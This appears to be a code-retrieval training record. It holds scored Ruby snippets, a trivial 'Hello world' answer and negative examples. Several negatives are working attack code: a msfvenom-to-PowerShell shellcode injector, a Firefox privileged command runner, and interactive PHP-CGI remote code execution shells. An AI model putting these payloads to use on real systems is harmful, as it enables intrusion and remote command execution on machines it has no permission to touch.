"def init_boot\n RightScale::Sender.instance.initialize_offline_queue\n payload = {:agent_identity => @agent_identity,\n :right_link_version => ::RightLink.version,\n :r_s_version => ::RightScale::AgentConfig.protocol_version,\n :resource_uid => ::RightScale::InstanceState.resource_uid}\n req = RightScale::RetryableRequest.new('/booter/declare', payload, :retry_on_error => true)\n req.callback do |res|\n begin\n RightScale::Sender.instance.start_offline_queue\n init_fetch_tags\n rescue Exception => e\n RightScale::Log.error(\"Failed handling /booter/declare response\", e, :trace)\n end\n end\n req.errback do |res|\n RightScale::Log.error(\"Failed making /booter/declare (#{res.inspect}\")\n end\n req.run\n true\n end",
"def prepare_boot_bundle(&cb)\n payload = {:agent_identity => @agent_identity, :audit_id => @audit.audit_id}\n req = RightScale::RetryableRequest.new('/booter/get_boot_bundle', payload)\n\n req.callback do |bundle|\n if bundle.executables.any? { |e| !e.ready }\n @audit.create_new_section(\"Waiting for missing inputs\")\n retrieve_missing_inputs(bundle) { cb.call(success_result(bundle)) }\n else\n yield success_result(bundle)\n end\n end\n\n req.errback do |res|\n yield error_result(RightScale::Log.format('Failed to retrieve boot scripts', res))\n end\n\n req.run\n end",
"def dependency_met?\n true\n end",
"def boot\n Souffle::Log.info \"#{@node.log_prefix} Booting node...\"\n provider.boot(@node)\n end",
"def bundles_thin?\n dependencies.assoc('thin')\n end",
"def boot_location\n super\n end",
"def will_start_up\n end",
"def boot_from_san?\n delegate(provider, :boot_from_san?)\n end",
"def jruby?\n RbConfig::CONFIG['ruby_install_name'] == 'jruby'\n end",
"def exist?\n ruby_gems_fetcher.started?\n end",
"def boot\n req = RightScale::RetryableRequest.new('/booter/get_repositories', { :agent_identity => @agent_identity })\n\n req.callback do |res|\n @audit = RightScale::AuditProxy.new(res.audit_id)\n if RightScale::FeatureConfigManager.feature_enabled?('package_repositories_freeze') && !RightScale::Platform.windows? && !RightScale::Platform.darwin?\n reps = res.repositories\n audit_content = \"Using the following software repositories:\\n\"\n reps.each { |rep| audit_content += \" - #{rep.to_s}\\n\" }\n @audit.create_new_section('Configuring software repositories')\n @audit.append_info(audit_content)\n configure_repositories(reps)\n @audit.update_status('Software repositories configured')\n end\n @audit.create_new_section('Preparing boot bundle')\n prepare_boot_bundle do |prep_res|\n if prep_res.success?\n @audit.update_status('Boot bundle ready')\n run_boot_bundle(prep_res.content) do |boot_res|\n if boot_res.success?\n # want to go operational only if no immediate shutdown request.\n # immediate shutdown requires we stay in the current (booting)\n # state pending full reboot/restart of instance so that we don't\n # bounce between operational and booting in a multi-reboot case.\n # if shutdown is deferred, then go operational before shutdown.\n shutdown_request = RightScale::ShutdownRequest.instance\n if shutdown_request.immediately?\n # process the shutdown request immediately since the\n # operational bundles queue will not start in this case.\n errback = lambda { strand(\"Failed to #{shutdown_request} while running boot sequence\") }\n shutdown_request.process(errback, @audit)\n else\n # any deferred shutdown request was submitted to the\n # operational bundles queue and will execute later.\n RightScale::InstanceState.value = 'operational'\n end\n else\n strand('Failed to run boot sequence', boot_res)\n end\n end\n else\n strand('Failed to prepare boot bundle', prep_res)\n end\n end\n end\n\n req.errback do|res|\n strand('Failed to retrieve software repositories', res)\n end\n\n req.run\n true\n end",
"def installer_AdobeUberInstaller?\n installer_type == \"AdobeUberInstaller\"\n end",
"def ready?\n # In test, we're always ready :-)\n return true if ENV.key?('INSTANA_TEST')\n\n # Occasionally Run Fork detection\n if rand(10) > 8\n if !@is_resque_worker && (@process[:pid] != Process.pid)\n ::Instana.logger.debug \"Instana: detected fork. (this pid: #{Process.pid}/#{Process.ppid}) Calling after_fork\"\n after_fork\n end\n end\n\n @state == :ready || @state == :announced\n rescue => e\n Instana.logger.debug { \"#{__method__}:#{File.basename(__FILE__)}:#{__LINE__}: #{e.message}\" }\n Instana.logger.debug { e.backtrace.join(\"\\r\\n\") } unless ENV.key?('INSTANA_TEST')\n return false\n end",
"def startup_hook; end",
"def registered_jarfiles\n @registered_jarfiles ||= {}\n end",
"def on_boot!\n (@on_boot || []).each {|b| b.call}\n end",
"def launchctl?\n launchctl.present?\n end",
"def launchctl?\n launchctl.present?\n end",
"def wait_for_smx_to_start\n # wait so we can ssh to the smx console\n on roles(:karaf) do\n # wait until all bundles are started and spring context is loaded\"\n puts \"Waiting till all bundles are started\"\n wait_for_all_bundles(:timeout => 180, :sleeptime => 10) do \n |b| [\"Active\", \"Resolved\", \"Installed\"].include? b[:status] \n end\n wait_for_bundle(:timeout => 500, :sleeptime => 10) do |b|\n if b[:name] == \"Apache CXF Bundle Jar\"\n puts \"Bundle status #{b}\"\n end\n b[:name] == \"Apache CXF Bundle Jar\" and (b[:blueprint] == 'Started' or b[:blueprint] == 'Created')\n end\n end\n end",
"def jruby?; defined?(JRUBY_VERSION) end",
"def bootstrap\n return false if bootstrapped?\n doc = Nokogiri::XML(open(\"http://#{domain}/#{version}/Vindicia.xsd\"))\n classes = doc.xpath('//xsd:complexType').map { |e| e['name'] }\n classes.each do |class_name|\n bootstrap_class(class_name)\n end\n @bootstrapped = true\n end",
"def load_from_classloader?\n !!@resource_prefix\n end",
"def executable?; true; end",
"def executable?; true; end",
"def bundler?\n @bundler ||= File.exist?(\"#{ Dir.pwd }/Gemfile\")\n end",
"def initialize_package\n self.need_tar ||= false\n self.need_zip ||= false\n end",
"def exit_from_sinatra_startup?\n defined?(Sinatra::Application) &&\n Sinatra::Application.respond_to?(:run?) &&\n !Sinatra::Application.run?\n end",
"def ready?\n # In test, we're always ready :-)\n return true if ENV['INSTANA_GEM_TEST']\n\n @state == :announced\n end",
"def ready?\n raise(\"Called #{self.class.name}.ready?\")\n end",
"def dummy?\n defined?(::Piktur::Spec::Application) &&\n ::Rails.application.is_a?(::Piktur::Spec::Application)\n end",
"def ready\n Souffle::Log.info \"#{@node.log_prefix} Is ready for provisioning...\"\n end",
"def running_jruby_1_7_or_later\n RUBY_PLATFORM == 'java' && !JRUBY_VERSION.match(/[0-1]\\.[0-6]/)\nend",
"def for_startup?\n self.stage_id > 1\n end",
"def setup\n true\n end",
"def check_for_executable; end",
"def present_and_running?\n return active_instance_dir_exists? && running?\n end",
"def bundler_installed?\n\t`(gem spec bundler -v > /dev/null 2>&1)`\n end",
"def bundler_installed?\n\t`(gem spec bundler -v > /dev/null 2>&1)`\n end",
"def bundler_installed?\n\t`(gem spec bundler -v > /dev/null 2>&1)`\n end",
"def bundles_rack?\n dependencies.assoc('rack')\n end"
] |
[
"0.73813003",
"0.70551485",
"0.69826883",
"0.690088",
"0.67788357",
"0.6606966",
"0.6511709",
"0.6461377",
"0.643953",
"0.6413335",
"0.6403176",
"0.6297651",
"0.6274813",
"0.6262055",
"0.62575424",
"0.62564325",
"0.6130477",
"0.6082981",
"0.60324246",
"0.60216004",
"0.59788495",
"0.596966",
"0.59029585",
"0.5886307",
"0.5877895",
"0.5872031",
"0.58365047",
"0.58235645",
"0.58188546",
"0.58150065",
"0.58149135",
"0.5813243",
"0.5765904",
"0.5757068",
"0.5748887",
"0.5748887",
"0.57030284",
"0.5701416",
"0.5683888",
"0.5664676",
"0.5640401",
"0.5640274",
"0.56346315",
"0.56319004",
"0.56183285",
"0.55896664",
"0.55751735",
"0.5568761",
"0.5559712",
"0.5546591",
"0.55276656",
"0.55210465",
"0.55149955",
"0.54998827",
"0.5490887",
"0.54866576",
"0.5484917",
"0.5482021",
"0.5476345",
"0.54742515",
"0.5471871",
"0.54690135",
"0.5460826",
"0.5458156",
"0.54544365",
"0.54530656",
"0.5452837",
"0.54444915",
"0.54423267",
"0.5430191",
"0.5426336",
"0.542526",
"0.5411845",
"0.54089034",
"0.5399798",
"0.5399408",
"0.539056",
"0.53811127",
"0.53811127",
"0.53803605",
"0.5379277",
"0.53787917",
"0.5378679",
"0.5377859",
"0.5377859",
"0.53777623",
"0.5376129",
"0.5375889",
"0.5375682",
"0.53655934",
"0.5355734",
"0.53477347",
"0.5338022",
"0.53351986",
"0.53258944",
"0.5311776",
"0.53068787",
"0.5306171",
"0.5306171",
"0.5306171",
"0.53035146"
] |
0.0
|
-1
|
mode:Ruby; tabwidth:4; coding:USASCII; vi:set ft=ruby ts=4 fenc=USASCII : Example for wrapexec. Replace your script below.
|
def main
print "Hello world !! I am '#$0'\n"
return 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def usage\n puts \"Usage: akaza exec|wsrb|exec_wsrb FILE_NAME\"\nend",
"def script; end",
"def script; end",
"def result_of_executing_the_commands\n @commands = \":set ft=ruby\r\" + @commands\n RobotVim::Runner.new.run(:input_file => @input, :commands => @commands)\nend",
"def make_runnable(code)\n return %Q[\nimport webpiraten as garbledwebpiratenlibraryname\nfrom webpiraten import Dir\nfrom webpiraten import Obj\nfrom webpiraten import look\nfrom webpiraten import move\nfrom webpiraten import put\nfrom webpiraten import take\nfrom webpiraten import turn\n\ngarbledwebpiratenlibraryname.configure_prefix(\"#{VM_PREFIX}\")\n\n] + code\n end",
"def powershell_builder(venomstring)\n if File.exists?(\"#{MSFPATH}msfvenom\")\n # venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p <payload> LHOST=<ip> LPORT=<port>'\n shellcode=\"#{`#{MSFPATH}msfvenom #{venomstring} -b \\\\x00`}\".gsub(\";\", \"\").gsub(\" \", \"\").gsub(\"+\", \"\").gsub('\"', \"\").gsub(\"\\n\", \"\").gsub('buf=','').strip.gsub('\\\\',',0').sub(',', '')\n #\t=> yields a variable holding our escapped shellcode with ',' between each char.....\n\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Converting Base ShellCode to PowerShell friendly format.....\".white\n # Borrowed from one of several appearances across the many Python written scripts....\n ps_base = \"$code = '[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\\\"msvcrt.dll\\\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \\\"Win32\\\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };\"\n # => Our base PowerShell wrapper to get the job done now in var\n # => place our shellcode in the placeholders\n ps_base_cmd = ps_base.sub('%s', shellcode) \n # Prep it for final stages and put in funky ps format....\n ps_cmd_prepped=String.new\n ps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + \"\\x00\" }\n\n # Base64 Encode our Payload so it is primed & ready for PowerShell usage\n stager = Base64.encode64(\"#{ps_cmd_prepped}\")\n\n # The magic is now ready!\n ps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub(\"\\n\", '')\n return ps_cmd\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Can't find MSFVENOM to build payloads!\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Check or provide MSF Path in source to correct......\".white\n return nil\n end\nend",
"def transcode_script_header\n <<~HEREDOC\n #!/bin/sh\n\n # Check this file, make any changes, and save it. Execute it directly,\n # or execute it with the sh command if it's not executable.\n\n set -e\n\n HEREDOC\n end",
"def run_cmd_source\n %Q|\n #{read_file_source}\n #{set_timeout_source}\n\n var ua = Components.classes[\"@mozilla.org/network/protocol;1?name=http\"]\n .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;\n var windows = (ua.indexOf(\"Windows\")>-1);\n var svcs = Components.utils.import(\"resource://gre/modules/Services.jsm\");\n var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;\n var runCmd = function(cmd, cb) {\n cb = cb \\|\\| (function(){});\n\n if (cmd.trim().length == 0) {\n setTimeout(function(){ cb(\"Command is empty string ('').\"); });\n return;\n }\n\n var js = (/^\\\\s*\\\\[JAVASCRIPT\\\\]([\\\\s\\\\S]*)\\\\[\\\\/JAVASCRIPT\\\\]/g).exec(cmd.trim());\n if (js) {\n var tag = \"[!JAVASCRIPT]\";\n var sync = true; /* avoid zalgo's reach */\n var sent = false;\n var retVal = null;\n\n try {\n this.send = function(r){\n if (sent) return;\n sent = true;\n if (r) {\n if (sync) setTimeout(function(){ cb(false, r+tag+\"\\\\n\"); });\n else cb(false, r+tag+\"\\\\n\");\n }\n };\n retVal = Function(js[1]).call(this);\n } catch (e) { retVal = e.message; }\n\n sync = false;\n\n if (retVal && !sent) {\n sent = true;\n setTimeout(function(){ cb(false, retVal+tag+\"\\\\n\"); });\n }\n\n return;\n }\n\n var shEsc = \"\\\\\\\\$&\";\n var shPath = \"/bin/sh -c\";\n\n if (windows) {\n shPath = \"cmd /c\";\n shEsc = \"\\\\^$&\";\n var jscriptFile = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');\n var stream = Components.classes[\"@mozilla.org/network/safe-file-output-stream;1\"]\n .createInstance(Components.interfaces.nsIFileOutputStream);\n stream.init(jscriptFile, 0x04 \\| 0x08 \\| 0x20, 0666, 0);\n stream.write(jscript, jscript.length);\n if (stream instanceof Components.interfaces.nsISafeOutputStream) {\n stream.finish();\n } else {\n stream.close();\n }\n }\n\n var stdoutFile = \"#{Rex::Text.rand_text_alphanumeric(8+rand(12))}\";\n\n var stdout = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n stdout.append(stdoutFile);\n\n var shell;\n cmd = cmd.trim();\n if (windows) {\n shell = shPath+\" \"+cmd;\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc)+\" >\"+stdout.path+\" 2>&1\";\n var b64 = svcs.btoa(shell);\n } else {\n shell = shPath+\" \"+cmd.replace(/\\\\W/g, shEsc);\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc) + \" >\"+stdout.path+\" 2>&1\";\n }\n\n var process = Components.classes[\"@mozilla.org/process/util;1\"]\n .createInstance(Components.interfaces.nsIProcess);\n var sh = Components.classes[\"@mozilla.org/file/local;1\"]\n .createInstance(Components.interfaces.nsILocalFile);\n\n if (windows) {\n sh.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\");\n process.init(sh);\n var args = [jscriptFile.path, b64];\n process.run(true, args, args.length);\n jscriptFile.remove(true);\n setTimeout(function(){cb(false, cmd+\"\\\\n\"+readFile(stdout.path));});\n } else {\n sh.initWithPath(\"/bin/sh\");\n process.init(sh);\n var args = [\"-c\", shell];\n process.run(true, args, args.length);\n setTimeout(function(){cb(false, readFile(stdout.path));});\n }\n };\n |\n end",
"def convert_to_ruby (src)\n rb = \"\"\n # dunno how to deal with only leading declarations of ruby code,\n # so replace it with the other markings\n src.gsub!(/-%>/,\"%>\")\n while\tsrc.index(Embedded_ruby_line) != nil\n src.sub!(Embedded_ruby_line) { |match|\n match[match.index '%'] = \" \"\n \"<% \" + match + \" %>\"\n }\n end\n lines = src.split(Embedded_ruby_flag)\n\n is_ruby_line = false\n lines.each { |line|\n if (line.strip != \"\" and line.strip != nil)\n if is_ruby_line\n if line[0,1] == '='\n # line[0] = \" \"\n # rb += \"puts \" + line.strip\n rb+=\"gr_html_puts \"+line.strip\n else\n rb += line.strip\n end\n else\n rb += \"gr_html( \" + line.inspect + \" )\"\n end\n rb += \"\\n\"\n end\n is_ruby_line = (not is_ruby_line)\n }\n #puts rb\n return rb\n end",
"def exec; end",
"def exec; end",
"def powershell_builder(venomstring)\n\t# venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p <payload> LHOST=<ip> LPORT=<port>'\n\tshellcode=\"#{`#{MSFPATH}/msfvenom #{venomstring} -b \\\\x00`}\".gsub(\";\", \"\").gsub(\" \", \"\").gsub(\"+\", \"\").gsub('\"', \"\").gsub(\"\\n\", \"\").gsub('buf=','').strip.gsub('\\\\',',0').sub(',', '')\n\t#\t=> yields a variable holding our escapped shellcode with ',' between each char.....\n\n\tprint_status(\"Converting Base ShellCode to PowerShell friendly format.....\")\n\t# Borrowed from one of several appearances across the many Python written scripts :p\n\tps_base = \"$code = '[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\\\"msvcrt.dll\\\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \\\"Win32\\\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };\"\n\t\t# => Our base PowerShell wrapper to get the job done now in var\n\n\tps_base_cmd = ps_base.sub('%s', shellcode) \n\t\t# => place our shellcode in the Python placeholder :p\n\n\t#Prep it for final stages and put in funky ps format....\n\tps_cmd_prepped=String.new\n\tps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + \"\\x00\" }\n\n\t# Base64 Encode our Payload so it is primed & ready for PowerShell usage\n\tstager = Base64.encode64(\"#{ps_cmd_prepped}\")\n\n\t#The magic is now ready!\n\tps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub(\"\\n\", '')\n\treturn ps_cmd\nend",
"def default_cmd ; %w{urxvt} ; end",
"def normal_php_cgi_rce_exploit_shell(link)\n puts\n prompt = \"(Command)> \"\n http=EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^c$|^clear$|^cls$/i\n cls\n banner\n puts\n when /^exit$|^quit$|^back$/i\n puts\n print_error(\"Returning to previous menu....\")\n break\n else\n base = \"print(___); system('#{cmd.strip.chomp}'); print(___);\".b64e.gsub(\"\\n\", '')\n test_payload = \"<?php eval(base64_decode('#{base}')); ?>\"\n if not link =~ /\\?-d\\+allow_url_include/i\n trigger = '?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'\n site=link\n site.sub!(/\\/$/, '') unless link.split('.')[-1] == 'php'\n link = site + trigger\n end\n res = http.post(link, test_payload)\n if res[0] =~ /___(.+)___/m\n print_line(\"\\n#{$1.strip.chomp}\\n\\n\")\n else\n puts\n print_error(\"Problem finding results!\")\n print_error(\"Check command and try again if expecting output....\\n\\n\")\n end\n end\n end\nend",
"def generate_shell\n # shell\n file_name = \"run_All.sh\"\n printf(\"@I:generate %s\\n\",file_name)\n f = open(\"#{file_name}\",\"w\")\n f.printf(\"#\\!\\/bin\\/sh\\n\")\n comment = \"Run Script for ConnectChecker\" \n Common.print_file_header(f,\"#{comment}\",$TOOL,$VERSION,\"##\")\n f.printf(\"FICE=%s\\n\",File.dirname(__FILE__))\n f.printf(\"CONNECT_CHECKER=\\$\\{FICE\\}\\/ConnectChecker.rb\\n\")\n f.printf(\"\\n\")\n f.printf(\"for EXPECT_FILE in \\\\\\n\")\n case $MODE\n when \"All\"\n f.printf(\" %s\\/product.expect \\\\\\n\",dir_name)\n when \"Each\"\n @InstInfo.sort_by{|a|\n a.InstanceName\n }.each{|inst|\n f.printf(\" %s \\\\\\n\",inst.ExpectFile.gsub(\"\\(\",\"\\\\\\(\").gsub(\"\\)\",\"\\\\\\)\"))\n }\n end\n f.printf(\"\\n\")\n f.printf(\"do\\n\")\n ice_opt = \"\"\n @ICE_OPT.each{|str|\n ice_opt = ice_opt + \" \" + str\n }\n f.printf(\"\\truby -w \\$\\{CONNECT_CHECKER\\} -expect \\$\\{EXPECT_FILE\\} -device %s -ice %s\\n\",@DEV_OPT,ice_opt)\n f.printf(\"\\done\\n\")\n f.close\n FileUtils.chmod(0744,\"#{file_name}\")\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def test_Browser_001_DisplayWatirEnv\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Browser_001_DisplayWatirEnv\")\n puts2(\"#######################\")\n\n puts2(\"\\n\\nTest - display_watir_env\")\n display_watir_env()\n\n end",
"def woo; puts \"woooooo\"; end",
"def windows_wget_powershell\n win_wget_ps = <<-WGET_PS\n param(\n [String] $remoteUrl,\n [String] $localPath\n )\n\n $webClient = new-object System.Net.WebClient;\n\n $webClient.DownloadFile($remoteUrl, $localPath);\n WGET_PS\n\n escape_and_echo(win_wget_ps)\n end",
"def usage\n\tputs \"ruby unicorn2vba.rb unicornOutputFileHere\" \nend",
"def exploit\n end",
"def single_exploit\n end",
"def apache_script_alias_rce_exploit_shell(link)\n if $config['HTTP']['TOR_PROXY']\n print_error(\"Sorry - NO TOR Support for this module at this time!\")\n return nil\n end\n puts\n prompt = \"(Command)> \"\n http=EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^c$|^clear$|^cls$/i\n cls\n banner\n puts\n when /^exit$|^quit$|^back$/i\n puts\n print_error(\"Returning to previous menu....\")\n break\n else\n test_payload = \"<?php print(___); system(#{cmd.strip.chomp}); print(___); ?>\"\n uri = URI.parse(link.sub(/\\/$/, '') + URI.encode('/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=\"\"+-d+open_basedir=none+-d+auto_prepend_file=php://input+-n'))\n if $config['HTTP']['PROXY']\n http = Net::HTTP.new(uri.host, uri.port, $config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n else\n http = Net::HTTP.new(uri.host, uri.port)\n end\n request = Net::HTTP::Post.new(uri.request_uri, { \"User-Agent\" => $config['HTTP']['HTTP_USER_AGENT'] })\n request.body = test_payload\n if $config['HTTP']['REF']\n request['Referer'] = $config['HTTP']['REFERER']\n end\n if $config['HTTP']['HTTP_HEADERS_ADD']\n $config['HTTP']['HTTP_HEADERS'].each do |k, v|\n request[\"#{k}\"] = \"#{v}\"\n end\n end\n if $config['HTTP']['COOKIESUPPORT']\n cookies = File.open($config['HTTP']['COOKIEFILE']).read\n request[\"Cookie\"] = cookies.to_s\n end\n if $config['HTTP']['HTTP_AUTH']\n request.basic_auth $config['HTTP']['HTTP_AUTH_USER'], $config['HTTP']['HTTP_AUTH_PASS']\n end\n response = http.request(request)\n if response.body.gsub(/Notice: Use of undefined constant ___ - assumed '___' in - on line \\d+/i, '') =~ /___(.+)___/m\n print_line(\"\\n#{$1.strip.chomp}\\n\\n\")\n else\n puts\n print_error(\"Problem finding results!\")\n print_error(\"Check command and try again if expecting output....\\n\\n\")\n end\n end\n end\nend",
"def p003rubystrings\n\tputs \"Hello World\"\n\t\n\t# CAn use \" or '. But, ' is more effective\n\tputs 'Hello WOrld'\n\n\t#String concatenate\n\tputs \"I like\" + \" Ruby\"\n\n\t#Escape Sequence\n\tputs 'It\\'s my Ruby'\n\n\t#New here displays the string 3 times\n\tputs 'Hello' * 3\n\n\tputs PI\n\n\t#USe of back-tick\n\tputs \"LIsting of files\"\n\tputs `ls`\n\n\tsystem (\"ls\")\n\nend",
"def generate_ruby sexp\n ruby = Ruby2Ruby.new.process(sexp)\n ruby.sub!(/\\A(def \\S+)\\(([^\\)]*)\\)/, '\\1 |\\2|') # move args\n ruby.sub!(/\\Adef[^\\n\\|]+/, 'proc { ') # strip def name\n ruby.sub!(/end\\Z/, '}') # strip end\n ruby.gsub!(/\\s+$/, '') # trailing WS bugs me\n ruby\n end",
"def update_setEnv_scripts\n Puppet.alert(\" begin : update_setEnv_scripts \")\n file_name = get_value4key(\"ps_config_home\", resource[:web_location_attrib]) + \"/webserv/\"\n file_name += get_value4key(\"webdomainname\", resource[:webdomain_attrib]) + \"/bin/setEnv.sh\"\n\n Puppet.debug(\" update_setEnv_scripts : #{file_name} \")\n\n text = File.read(file_name)\n Puppet.debug(\" update_setEnv_scripts 1 : #{file_name} \")\n httpsport = get_value4key(\"webadminserverhttps\", resource[:webadmin_server_attrib] )\n\n Puppet.debug(\" update_setEnv_scripts 1A : #{httpsport} \")\n ##new_contents = text.gsub(/443/, get_value4key(\"webadminserverhttps\", resource[:webadmin_server_attrib] ) )\n\n Puppet.debug(\" update_setEnv_scripts 2 : #{file_name} \")\n new_contents1 = text.gsub(/9999/, get_value4key(\"webadminserverhttp\", resource[:webadmin_server_attrib] ) )\n\n Puppet.debug(\" update_setEnv_scripts 3 : #{file_name} \")\n jvm_small_size1= \"-Xms2048m\"\n jvm_max_size2= \"-Xmx2048m\"\n jvm_small_size2= \"-Xms1024m\"\n jvm_max_size2= \"-Xmx1024m\"\n\n ####new_contents = new_contents1.gsub(/-Xms256m/, jvm_max_size )\n ####new_contents1 = new_contents.gsub(/-Xmx256m/, jvm_max_size )\n\n\n new_contents = new_contents1.gsub(\"-server -Xms512m -Xmx512m\", \"-server -Xms2048m -Xmx2048m\" )\n new_contents1 = new_contents.gsub(\"-server -Xms256m -Xmx256m\", \"-server -Xms1024m -Xmx1024m\" )\n\n Puppet.debug(\" update_setEnv_scripts updating ADMINSERVER_HOSTNAME : #{file_name} \")\n oldstr=\"ADMINSERVER_HOSTNAME=\" + get_value4key(\"appserverhost\", resource[:webdomain_attrib])\n newstr=\"ADMINSERVER_HOSTNAME=\" + get_value4key(\"webadminserverhost\", resource[:webadmin_server_attrib] )\n\n new_contents2 = new_contents1.gsub(oldstr, newstr )\n\n\n new_contents = new_contents2.gsub(/-XX:MaxPermSize=128m/, \"-XX:MaxPermSize=256m\" )\n File.open(file_name, \"w\") {|file| file.puts new_contents }\n Puppet.alert(\" end : update_setEnv_scripts \")\n end",
"def tralics_commands\n base_commands = <<-'EOS'\n% Commands specific to Tralics\n\\def\\hyperref[#1]#2{\\xmlelt{a}{\\XMLaddatt{target}{#1}#2}}\n\\newcommand{\\heading}[1]{\\xmlelt{heading}{#1}}\n\\newcommand{\\codecaption}[1]{\\xmlelt{heading}{#1}}\n\\newcommand{\\sout}[1]{\\xmlelt{sout}{#1}}\n\\newcommand{\\kode}[1]{\\xmlelt{kode}{#1}}\n\\newcommand{\\coloredtext}[2]{\\xmlelt{coloredtext}{\\AddAttToCurrent{color}{#1}#2}}\n\\newcommand{\\coloredtexthtml}[2]{\\xmlelt{coloredtexthtml}{\\AddAttToCurrent{color}{#1}#2}}\n\\newcommand{\\filepath}[1]{\\xmlelt{filepath}{#1}}\n\\newcommand{\\image}[1]{\\xmlelt{image}{#1}}\n\\newcommand{\\imagebox}[1]{\\xmlelt{imagebox}{#1}}\n% Ignore pbox argument, just replacing with content.\n\\newcommand{\\pbox}[2]{#2}\n% Ignore some other commands.\n\\newcommand{\\includepdf}[1]{}\n\\newcommand{\\newunicodechar}[2]{}\n\\newcommand{\\extrafloats}[1]{}\n EOS\n custom_commands = <<-EOS\n\\\\usepackage{amsthm}\n\\\\theoremstyle{definition}\n\\\\newtheorem{codelisting}{#{language_labels[\"listing\"]}}[chapter]\n\\\\newtheorem{aside}{#{language_labels[\"aside\"]}}[chapter]\n EOS\n [base_commands, custom_commands].join(\"\\n\")\n end",
"def help_text\n t = <<-P1\n<p>\n\n This is a table of \"swinfo\" entries for a particular item. The help\n on the welcome page describes various items that can be searched\n for such as defect, APAR, PTF, etc.\n\n</p><p>\n\n The column names in the header can be clicked to sort the table.\n There are three columns that are sorted. The first column has the\n darkest up or down arrow while the third column has the lightest up\n or down arrow. For example, the default is to sort by the defect\n first, then by the APAR, and finally by the PTF.\n\n</p><p>\n\n The page implements an \"endless page\" user interface where only the\n first 1000 rows are rendered. When the bottom of the page is\n scrolled to, then the next 1000 rows are fetched and appended to the\n original. Remember this if you ever search using the in browser, in\n page search because you may not be searching on the complete list of\n items that matched.\n\n</p><p>\n\n The entries under the Defect, APAR, PTF, VRMF, and Service Pack\n columns are links to do a \"swinfo\" search for that particular item.\n\n</p><p>\n\n The little triangles on the right edge of many items presents a menu\n of available actions when clicked. For example, if one of the\n triangles by a defect is clicked, the user is presented with the\n ability to retrieve the CMVC defect, the changes the defect resulted\n in, the APAR draft (if any) associated with the defect. Each of\n these menus also has a \"Select text\" option to select the text. The\n text is <b>not</b> copied to the clipboard. To do that requires\n flash which I did not want to depend upon. Part of the goal is to\n make the UI tablet friendly and flash is definitely not tablet\n friendly.\n\n</p>\nP1\n return t.html_safe\n end",
